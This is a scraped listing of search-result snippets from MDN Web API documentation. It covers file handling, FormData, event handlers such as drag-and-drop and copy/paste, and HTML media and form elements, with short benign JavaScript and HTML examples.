this feature has been deprecated, with its functionality replaced by fetchevent.clientid and clients.get().
... see
this github issue for discussion/background.
File.name - Web APIs
for security reasons, the path is excluded from
this property.
... example <input type="file" multiple onchange="processselectedfiles(
this)"> function processselectedfiles(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { alert("filename " + files[i].name); } } try the results out below: specifications specification status comment file apithe definition of 'name' in that specification.
File.type - Web APIs
syntax var name = file.type; value a string, containing the media type(mime) indicating the type of the file, for example "image/png" for png images example <input type="file" multiple onchange="showtype(
this)"> function showtype(fileinput) { var files = fileinput.files; for (var i = 0; i < files.length; i++) { var name = files[i].name; var type = files[i].type; alert("filename: " + name + " , type: " + type); } } note: based on the current implementation, browsers won't actually read the bytestream of a file to determine its media type.
...developers are advised not to rely on
this property as a sole validation scheme.
FileException - Web APIs
the added complexity of using webworkers with
this api makes debugging even more challenging.
... browser compatibility the compatibility table on
this page is generated from structured data.
FileReader.readAsDataURL() - Web APIs
cument.queryselector('input[type=file]').files; function readandpreview(file) { // make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader = new filereader(); reader.addeventlistener("load", function () { var image = new image(); image.height = 100; image.title = file.name; image.src =
this.result; preview.appendchild( image ); }, false); reader.readasdataurl(file); } } if (files) { [].foreach.call(files, readandpreview); } } note: the filereader() constructor was not supported by internet explorer for versions before 10.
...see also
this more powerful example.
FileReader.result - Web APIs
this property is only valid after the read operation is complete, and the format of the data depends on which of the methods was used to initiate the read operation.
... example
this example presents a function, read(), which reads a file from a file input.
FileRequest.onprogress - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
... summary
this property specifies a callback function to be run repeatedly while the operation represented by a filerequest object is in progress.
FileSystem.name - Web APIs
this usvstring is unique among all file systems currently exposed by the file and directory entries api.
... browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemEntry.filesystem - Web APIs
example
this example obtains a filesystemdirectoryentry for the root directory of the file system containing a file.
... browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemEntry.getMetadata() - Web APIs
example
this example checks the size of a log file in a temporary folder and, if it exceeds a megabyte, moves it into a different directory.
... workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.moveto(direntry); }, handleerror); } }); }, handleerror); browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemEntry.isDirectory - Web APIs
example
this example shows how
this property might be used to determine whether to process the entry as a directory or file.
... browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemEntry.isFile - Web APIs
example
this example shows how
this property might be used to determine whether to process the entry as a directory or file.
... browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemEntry.remove() - Web APIs
example
this example deletes a temporary work file.
... workingdirectory.getfile("tmp/workfile.json", {}, function(fileentry) { fileentry.remove(function() { /* the file was removed successfully */ }); }, handleerror); browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemFileEntry - Web APIs
properties inherits the properties of its parent interface, filesystementry, but has no properties unique to
this interface.
... draft draft of proposed api browser compatibility the compatibility table on
this page is generated from structured data.
FileSystemSync - Web APIs
about
this document
this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
... browser compatibility the compatibility table on
this page is generated from structured data.
FontFace - Web APIs
properties
this interface doesn't inherit any property.
... methods
this interface doesn't inherit any method.
FormData() - Web APIs
note:
this feature is available in web workers.
... example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you could add a key/value pair to
this using formdata.append: formdata.append('username', 'chris'); or you can specify the optional form argument when creating the formdata object, to prepopulate it with values from the specified form: <form id="myform" name="myform"> <div> <label for="username">enter name:</label> <input type="text" id="username" name="username"> </div> <div> <label for="useracc">enter account n...
FormData.entries() - Web APIs
the formdata.entries() method returns an iterator allowing to go through all key/value pairs contained in
this object.
... note:
this method is available in web workers.
FormData.keys() - Web APIs
the formdata.keys() method returns an iterator allowing to go through all keys contained in
this object.
... note:
this method is available in web workers.
FormData.values() - Web APIs
the formdata.values() method returns an iterator allowing to go through all values contained in
this object.
... note:
this method is available in web workers.
FormDataEvent - Web APIs
this happens when the form is submitted, but can also be triggered by the invocation of a formdata() constructor.
...
this allows a formdata object to be quickly obtained in response to a formdata event firing, rather than needing to put it together yourself when you wish to submit form data via a method like xmlhttprequest (see using formdata objects).
GainNode() - Web APIs
this parameter is a-rate and it's nominal range is (-∞,+∞).
... browser compatibility the compatibility table on
this page is generated from structured data.
GainNode - Web APIs
to prevent
this from happening, never change the value directly but use the exponential interpolation methods on the audioparam interface.
...out our voice-change-o-matic demo (view source.) <div> <button class="mute">mute button</button> </div> var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); var gainnode = audioctx.creategain(); var mute = document.queryselector('.mute'); var source; if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints - only audio needed for
this app { audio: true }, // success callback function(stream) { source = audioctx.createmediastreamsource(stream); }, // error callback function(err) { console.log('the following gum error occured: ' + err); } ); } else { console.log('getusermedia not supported on your browser!'); } source.connect(gainnode); gainnode.connect(audioctx.destination); ..
GamepadButton - Web APIs
note:
this is the case in firefox gecko 28 and later; chrome and earlier firefox versions still return an array of double values when
this property is accessed.
...in
this simple example i've just allowed either.
GeolocationCoordinates.heading - Web APIs
this value, specified in degrees, indicates how far off from heading due north the device is.
...if the device is not able to provide heading information,
this value is null.
GeometryUtils - Web APIs
geometryutils is a raw interface and no object of
this type can be created; it is implemented by text, element, csspseudoelement, and document objects.
... properties
this interface does not implement any properties.
GlobalEventHandlers.onchange - Web APIs
this may be done, for example, by clicking outside of the control or by using the tab key to switch to a different control.
... example
this example logs the number of characters in an <input> element, every time you modify its contents and then change focus away from it.
GlobalEventHandlers.oncontextmenu - Web APIs
examples disabling context menus
this snippet prevents context menus from opening in the window.
...is it disabled?<p> javascript window.oncontextmenu = (e) => { e.preventdefault(); } result pausing an animation
this example pauses a spinning shape whenever you open the context menu.
GlobalEventHandlers.ondrag - Web APIs
example
this example includes the use of the ondrag attribute handler to set an element's drag event handler.
...cument.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <!-- <div class="source"> --> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondrag' in that specification.
GlobalEventHandlers.ondragend - Web APIs
example
this example shows two ways to use the ondragend attribute handler to set an element's dragend event handler.
...ce"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragend' in that specification.
GlobalEventHandlers.ondragenter - Web APIs
example
this example demonstrates using the ondragenter attribute handler to set an element's dragenter event handler.
...ce"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragenter' in that specification.
GlobalEventHandlers.ondragexit - Web APIs
example
this example demonstrates using the ondragexit attribute handler to set an element's dragexit event handler.
...ce"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragexit' in that specification.
GlobalEventHandlers.ondragleave - Web APIs
example
this example demonstrates using the ondragleave attribute handler to set an element's dragleave event handler.
...ce"); el.ondragenter = dragenter_handler; el.ondragleave = dragleave_handler; el.ondragend = dragend_handler; el.ondragexit = dragexit_handler; } </script> <body onload="init();"> <h1>examples of <code>ondragenter</code>, <code>ondragleave</code>, <code>ondragend</code>, <code>ondragexit</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragleave' in that specification.
GlobalEventHandlers.ondragover - Web APIs
example
this example demonstrates using the ondragover attribute handler to set an element's dragover event handler.
...t"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragover' in that specification.
GlobalEventHandlers.ondragstart - Web APIs
example
this example demonstrates using the ondragstart attribute handler to set an element's dragstart event handler.
...t"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondragstart' in that specification.
GlobalEventHandlers.ondrop - Web APIs
example
this example demonstrates the use of the ondrop attribute to define an element's drop event handler.
....appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div class="source"> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select
this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification status comment html living standardthe definition of 'ondrop' in that specification.
GlobalEventHandlers.oninvalid - Web APIs
example
this example demonstrates oninvalid and onsubmit event handlers on a form.
... document.getelementbyid('form'); const error = document.getelementbyid('error'); const city = document.getelementbyid('city'); const thanks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for
this example, don't actually submit the form event.preventdefault(); } result specification specification status comment html living standardthe definition of 'oninvalid' in that specification.
GlobalEventHandlers.onkeypress - Web APIs
examples basic example
this example logs the keyboardevent.code value whenever you press a key inside the <input> element.
... html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeypress = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result filter keys with a regular expression
this example filters the characters typed into a form field using a regular expression.
GlobalEventHandlers.onmousemove - Web APIs
examples tooltips
this example creates link tooltips that follow your mouse.
...href="#" data-tooltip="second link">… or here!</a></p> css .tooltip { position: absolute; z-index: 9999; padding: 6px; background: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; node.setattribute('hidden', ''); document.body.appendchild(node);
this.follow = function(event) { node.style.left = event.clientx + 20 + 'px'; node.style.top = event.clienty + 10 + 'px'; };
this.show = function(event) { node.textcontent = event.target.dataset.tooltip; node.removeattribute('hidden'); };
this.hide = function() { node.setattribute('hidden', ''); }; })(); const links = document.queryselectorall('a'); links.foreach(link ...
GlobalEventHandlers.onselect - Web APIs
examples
this example logs the text you select inside a <textarea> element.
... html <textarea>try selecting some text in
this element.</textarea> <p id="log"></p> javascript function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const textarea = document.queryselector('textarea'); textarea.onselect = logselection; result specification specification status comment html living standardthe definition of 'onselect' in that specification.
GlobalEventHandlers.onsubmit - Web APIs
example
this example demonstrates oninvalid and onsubmit event handlers on a form.
... document.getelementbyid('form'); const error = document.getelementbyid('error'); const city = document.getelementbyid('city'); const thanks = document.getelementbyid('thanks'); city.oninvalid = invalid; form.onsubmit = submit; function invalid(event) { error.removeattribute('hidden'); } function submit(event) { form.setattribute('hidden', ''); thanks.removeattribute('hidden'); // for
this example, don't actually submit the form event.preventdefault(); } result specifications specification status comment html living standardthe definition of 'onsubmit' in that specification.
GlobalEventHandlers - Web APIs
properties
this interface doesn't include any properties except for the event handlers listed below.
... methods
this interface defines no methods.
Gyroscope.x - Web APIs
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
Gyroscope.y - Web APIs
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
Gyroscope.z - Web APIs
this is not something that would ever be shown to a user.
...in the example below
this occurs sixty times a second.
HTMLAnchorElement.referrerPolicy - Web APIs
this case is unsafe as it can leak path information that has been concealed to third-party by using tls.
... browser compatibility the compatibility table on
this page is generated from structured data.
HTMLAreaElement.referrerPolicy - Web APIs
this case is unsafe as it can leak path information that has been concealed to third-party by using tls.
... browser compatibility the compatibility table on
this page is generated from structured data.
HTMLAudioElement - Web APIs
this snippet copies the audio file's duration to a variable: var audioelement = new audio('car_horn.wav'); audioelement.addeventlistener('loadeddata', () => { let duration = audioelement.duration; // the duration variable now holds the duration (in seconds) of the audio clip }) events inherits methods from its parent, htmlmediaelement, and from its ancestor htmlelement.
... listen to events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface.
HTMLBodyElement - Web APIs
note that
this is not an uri, though some older version of some browsers do expect it.
...htmlbodyelement implements
this interface.
HTMLCanvasElement.height - Web APIs
this is one of the two properties, the other being htmlcanvaselement.width, that controls the size of the canvas.
... syntax var pxl = canvas.height; canvas.height = pxl; examples given
this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the height of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.height); // 300 specifications specification status comment html living standardthe definition of 'htmlcanvaselement.height' in that specification.
HTMLCanvasElement.mozFetchAsStream() - Web APIs
however,
this non-standard and internal method has been removed.
... examples save to disk with mozfetchasstream (chrome context only)
this technique also converts it to ico, however it will not work in windows xp as winxp cannot convert from png to ico.
HTMLCanvasElement.mozOpaque - Web APIs
this has been standardized as setting the alpha option to false when creating a drawing context with htmlcanvaselement.getcontext().
... syntax var opaque = canvas.mozopaque; canvas.mozopaque = true; examples given
this <canvas> element: <canvas id="canvas" width="300" height="300" moz-opaque></canvas> you can get or set the mozopaque property.
HTMLCanvasElement.width - Web APIs
this is one of the two properties, the other being htmlcanvaselement.height, that controls the size of the canvas.
... syntax var pxl = canvas.width; canvas.width = pxl; examples given
this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the width of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.width); // 300 specifications specification status comment html living standardthe definition of 'htmlcanvaselement.width' in that specification.
HTMLContentElement.getDistributedNodes() - Web APIs
the htmlcontentelement.getdistributednodes() method returns a static nodelist of the distributed nodes associated with
this <content> element.
... syntax var nodelist = object.getdistributednodes() example // get the distributed nodes var nodes = mycontentobject.getdistributednodes(); specifications
this feature is no longer defined by any specifications.
HTMLDialogElement: cancel event - Web APIs
for example, the browser might fire
this event when the user presses the esc key or clicks a "close dialog" button which is part of the browser's ui.
...example-dialog'); dialog.addeventlistener('cancel', (event) => { result.textcontent = 'dialog was canceled'; }); const opendialog = document.queryselector('.open-dialog'); opendialog.addeventlistener('click', () => { if (typeof dialog.showmodal === 'function') { dialog.showmodal(); result.textcontent = ''; } else { result.textcontent = 'the dialog api is not supported by
this browser'; } }); const closebutton = document.queryselector('.close'); closebutton.addeventlistener('click', () => { dialog.close(); }); result specifications specification status html living standardthe definition of 'cancel' in that specification.
HTMLElement: animationiteration event - Web APIs
this event does not occur at the same time as the animationend event, and therefore does not occur for animations with an animation-iteration-count of one.
... bubbles yes cancelable no interface animationevent event handler property onanimationiteration examples
this code uses animationiteration to keep track of the number of iterations an animation has completed: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.addeventlistener('animationiteration', () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }); the same, but using the onanimationiteration event handler property: const animated = document.queryselector('.animated'); let iterationcount = 0; animated.onanimationiteration = () => { iterationcount++; console.log(`animation iteration count: ${iterationcount}`); }; live example html <div class="anim...
HTMLElement: animationstart event - Web APIs
if there is an animation-delay,
this event will fire once the delay period has expired.
... bubbles yes cancelable no interface animationevent event handler property onanimationstart examples
this listens for the animationstart event and logs a message when it is fired: const animated = document.queryselector('.animated'); animated.addeventlistener('animationstart', () => { console.log('animation started'); }); the same, but using onanimationstart: const animated = document.queryselector('.animated'); animated.onanimationstart = () => { console.log('animation started'); }; live example html <div class="animation-ex...
HTMLElement.contentEditable - Web APIs
this enumerated attribute can have the following values: 'true' indicates that the element is contenteditable.
... you can use the htmlelement.iscontenteditable property to test the computed boolean value of
this property.
HTMLElement.innerText - Web APIs
example
this example compares innertext with node.textcontent.
... html <h3>source element:</h3> <p id="source"> <style>#source { color: red; } #text { text-transform: uppercase; }</style> <span id=text>take a look at<br>how
this text<br>is interpreted below.</span> <span style="display:none">hidden text</span> </p> <h3>result of textcontent:</h3> <textarea id="textcontentoutput" rows="6" cols="30" readonly>...</textarea> <h3>result of innertext:</h3> <textarea id="innertextoutput" rows="6" cols="30" readonly>...</textarea> javascript const source = document.getelementbyid("source"); const textcontentoutput = document.getelementbyid("textcontentoutput"); const innertextoutput = document.getelementbyid("innertextoutput"); textcontentoutput.value = source.te...
HTMLElement.offsetLeft - Web APIs
example var colortable = document.getelementbyid("t1"); var toleft = colortable.offsetleft; if (toleft > 5) { // large left offset: do something here }
this example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.
...</span> <span id="longspan">long span that wraps within
this div.</span> </div> <div id="box" style="position: absolute; border-color: red; border-width: 1; border-style: solid; z-index: 10"> </div> <script type="text/javascript"> var box = document.getelementbyid("box"); var longspan = document.getelementbyid("longspan"); box.style.left = longspan.offsetleft + document.body.scrollleft + "px"; box.style.top = longspan.offsettop + document.body.scrolltop + "px"; box.style.width = longspan.offsetwidth + "px"; box.style.height = longspan.offsetheight + "px"; </script> specification specification status comment css object model (cssom) view modul...
HTMLElement.oncopy - Web APIs
example
this example blocks every copy and paste attempt from the <textarea>.
... html <h3>play with
this text area:</h3> <textarea id="editor" rows="3">try copying and pasting text into
this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript const log = document.getelementbyid('log'); function logcopy(event) { log.innertext = 'copy blocked!\n' + log.innertext; event.preventdefault(); } function logpaste(event) { log.innertext = 'paste blocked!\n' + log.innertext; event.preventdefault(); } const editor = document.getelementbyid('editor'); editor.oncopy = logcopy; editor.onpaste = logpaste; result specification whatwg standard ...
HTMLElement.oncut - Web APIs
example
this example allows text to be copied from the <textarea>, but doesn't allow text to be cut.
... html <h3>play with
this text area:</h3> <textarea id="editor" rows="3">try copying and cutting the text in
this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function preventcut(event) { event.preventdefault(); log.innertext = 'cut blocked!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.oncut = preventcut; result specification whatwg standard ...
HTMLElement.onpaste - Web APIs
example
this example logs every copy and paste attempt to the <textarea>.
... html <h3>play with
this text area:</h3> <textarea id="editor" rows="3">try copying and pasting text into
this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function logpaste(event) { log.innertext = 'pasted!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.onpaste = logpaste; result specification whatwg standard ...
HTMLElement: pointercancel event - Web APIs
this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device.
...
this can happen if, for example, the hardware supports palm rejection to prevent a hand resting on the display while using a stylus from accidentally triggering events.
HTMLElement: transitionrun event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property ontransitionrun examples
this code adds a listener to the transitionrun event: el.addeventlistener('transitionrun', () => { console.log('transition is running but hasn\'t necessarily started transitioning yet'); }); the same, but using the ontransitionrun property instead of addeventlistener(): el.ontransitionrun = () => { console.log('transition started running, and will start transitioning when the transition delay has expired'); }; live example in the following example, we have a simple <div> element, styled with a transition...
... that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .transition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to
this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
HTMLElement: transitionstart event - Web APIs
bubbles yes cancelable no interface transitionevent event handler property ontransitionstart examples
this code adds a listener to the transitionstart event: element.addeventlistener('transitionstart', () => { console.log('started transitioning'); }); the same, but using the ontransitionstart property instead of addeventlistener(): element.ontransitionrun = () => { console.log('started transitioning'); }; live example in the following example, we have a simple <div> element, styled with a transition that includes a delay: <div class="transition">hover over me</div> <div class="message"></div> .t...
...ransition { width: 100px; height: 100px; background: rgba(255,0,0,1); transition-property: transform, background; transition-duration: 2s; transition-delay: 1s; } .transition:hover { transform: rotate(90deg); background: rgba(255,0,0,0); } to
this, we'll add some javascript to indicate where the transitionstart and transitionrun events fire.
HTMLFormControlsCollection.namedItem() - Web APIs
note that
this version of nameditem() hides the one inherited from htmlcollection.
... recommendation in
this snapshot of html living standard, the htmlformcontrolscollections is defined for the first time.
HTMLFormElement: formdata event - Web APIs
this happens when the form is submitted, but can also be triggered by the invocation of a formdata() constructor.
...eve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); the onformdata version would look like
this: formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment ...
HTMLFormElement.length - Web APIs
this includes both elements that are descendents of the <form> element as well as elements that are made members of the form using their form property.
...
this is the same as the number of the elements in the htmlformcontrolscollection returned by the elements property.
HTMLFormElement: submit event - Web APIs
in
this case, the validation prevents form submission, and thus there is no submit event.
... examples
this example uses eventtarget.addeventlistener() to listen for form submit, and logs the current event.timestamp whenever that occurs, then prevents the default action of submitting the form.
HTMLHtmlElement.version - Web APIs
this property has been declared as deprecated by the w3c technical recommendation for html 4.01 in favor of use of the dtd for obtaining version information for a document.
...while
this property is recognized by mozilla, the return value for
this property is always an empty string.
HTMLHyperlinkElementUtils.origin - Web APIs
note:
this feature is available in web workers.
... syntax string = object.origin; examples // on
this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.origin' in that specification.
HTMLImageElement.decode() - Web APIs
this can be used to initiate loading of the image prior to attaching it to an element in the dom (or adding it to the dom as a new element), so that the image can be rendered immediately upon being added to the dom.
...
this, in turn, prevents the rendering of the next frame after adding the image to the dom from causing a delay while the image loads.
HTMLImageElement.decoding - Web APIs
this can be useful when applied to <img> elements, but may be even more so when used for offscreen image objects.
... living standard browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.isMap - Web APIs
this may only be used on images located within an <a> element.
... living standard browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.referrerPolicy - Web APIs
this case is unsafe as it can leak path information that has been concealed to third-party by using tls.
... browser compatibility the compatibility table on
this page is generated from structured data.
HTMLImageElement.vspace - Web APIs
important:
this property is obsolete.
... browser compatibility the compatibility table on
this page is generated from structured data.
HTMLInputElement: invalid event - Web APIs
bubbles no cancelable yes interface event event handler property globaleventhandlers.oninvalid
this event can be useful for displaying a summary of the problems with a form on submission.
...in
this example, when an invalid event fires because of an invalid value in the input, the invalid value is logged.
HTMLInputElement: search event - Web APIs
using
this control also fires the search event.
... examples // addeventlistener version const input = document.queryselector('input[type="search"]'); input.addeventlistener('search', () => { console.log("the term searched for was " + input.value); }) // onsearch version const input = document.queryselector('input[type="search"]'); input.onsearch = () => { console.log("the term searched for was " + input.value); }) specifications
this event is not part of any specification.
HTMLInputElement.select() - Web APIs
syntax element.select(); example click the button in
this example to select all the text in the <input> element.
... in browsers where it is not supported, it is possible to replace it with a call to htmlinputelement.setselectionrange() with parameters 0 and the input's value length: <input onclick="
this.select();" value="sample text" /> <!-- equivalent to --> <input onclick="
this.setselectionrange(0,
this.value.length);" value="sample text" /> specifications specification status comment html living standardthe definition of 'select' in that specification.
HTMLLabelElement.form - Web APIs
this property is just a shortcut for htmllabelelement.control.form.
...if control is null (meaning the label isn't associated with a control), or if the control isn't part of a form,
this property returns null.
HTMLLabelElement.htmlFor - Web APIs
that means that
this script-accessible property is used to set and read the value of the content property for, which is the id of the label's associated control element.
... if
this property has a value, the htmllabelelement.control property must refer to the same control.
HTMLLabelElement - Web APIs
in other words,
this is just a shortcut for htmllabelelement.control.form.
...
this reflects the for attribute.
HTMLLegendElement - Web APIs
htmllegendelement.form read only is a htmlformelement representing the form that
this legend belongs to.
... if the legend has a fieldset element as its parent, then
this attribute returns the same value as the form attribute on the parent fieldset element.
HTMLMapElement - Web APIs
if the id attribute is set,
this must have the same value; and it cannot be null or empty.
... htmlmapelement.areas read only is a live htmlcollection representing the <area> elements associated to
this <map>.
HTMLMediaElement.buffered - Web APIs
note:
this feature is not available in web workers.
...
this object is normalized, which means that ranges are ordered, don't overlap, aren't empty, and don't touch (adjacent ranges are folded into one bigger range).
HTMLMediaElement.canPlayType() - Web APIs
note:
this feature is not available in web workers.
...the string will be one of the following values: probably media of the type indicated by the mediatype parameter is probably playable on
this device.
HTMLMediaElement.captureStream() - Web APIs
this can be used, for example, as a source for a webrtc rtcpeerconnection.
... example in
this example, an event handler is established so that clicking a button starts capturing the contents of a media element with the id "playback" into a mediastream.
HTMLMediaElement.currentSrc - Web APIs
this could happen, for example, if the web server selects a media file based on the resolution of the user's display.
... syntax var mediaurl = audioobject.currentsrc; value a domstring object containing the absolute url of the chosen media source;
this may be an empty string if networkstate is empty; otherwise, it will be one of the resources listed by the htmlsourceelement contained within the media element, or the value or src if no <source> element is provided.
HTMLMediaElement: ended event - Web APIs
this event occurs based upon htmlmediaelement (<audio> and <video>) fire ended when playback of the media reaches the end of the media.
... bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onended specification html5 media
this event is also defined in media capture and streams and web audio api examples these examples add an event listener for the htmlmediaelement's ended event, then post a message when that event handler has reacted to the event firing.
HTMLMediaElement.error - Web APIs
when an error event is received by the element, you can determine details about what happened by examining
this object.
... example
this example establishes a video element and adds an error handler to it; the error handler simply logs the details to console.
HTMLMediaElement.initialTime - Web APIs
this property is obsolete, you can use a media fragments uri in the htmlmediaelement.src attribute instead.
... specifications
this was previously defined within the whatwg html living standard, though was removed because of missing use cases.
HTMLMediaElement.onencrypted - Web APIs
this interface inherits from the extendableevent interface.
... browser compatibility the compatibility table on
this page is generated from structured data.
HTMLMediaElement.sinkId - Web APIs
this id should be one of the mediadeviceinfo.deviceid values returned from mediadevices.enumeratedevices(), id-multimedia, or id-communications.
...older versions of
this spec were called "media capture output".
HTMLMediaElement.src - Web APIs
note: the best way to know the url of the media resource currently in active use in
this element is to look at the value of the currentsrc attribute, which also takes into account selection of a best or preferred media resource from a list provided in an htmlsourceelement (which represents a <source> element).
... syntax var mediaurl = htmlmediaelement.src; value a usvstring object containing the url of a media resource to use in the element;
this property reflects the value of the html element's src attribute.
HTMLObjectElement.setCustomValidity - Web APIs
examples in
this example, we pass the id of an input element, and set different error messages depending on whether the value is missing, too low or too high.
... function validate(inputid) { var input = document.getelementbyid(inputid); var validitystate_object = input.validity; if (validitystate_object.valuemissing) { input.setcustomvalidity('you gotta fill
this out, yo!'); input.reportvalidity(); } else if (input.rangeunderflow) { input.setcustomvalidity('we need a higher number!'); input.reportvalidity(); } else if (input.rangeoverflow) { input.setcustomvalidity('thats too high!'); input.reportvalidity(); } else { input.setcustomvalidity(''); input.reportvalidity(); } } it's vital to set the message to an empty string if there are no errors.
HTMLObjectElement.typeMustMatch - Web APIs
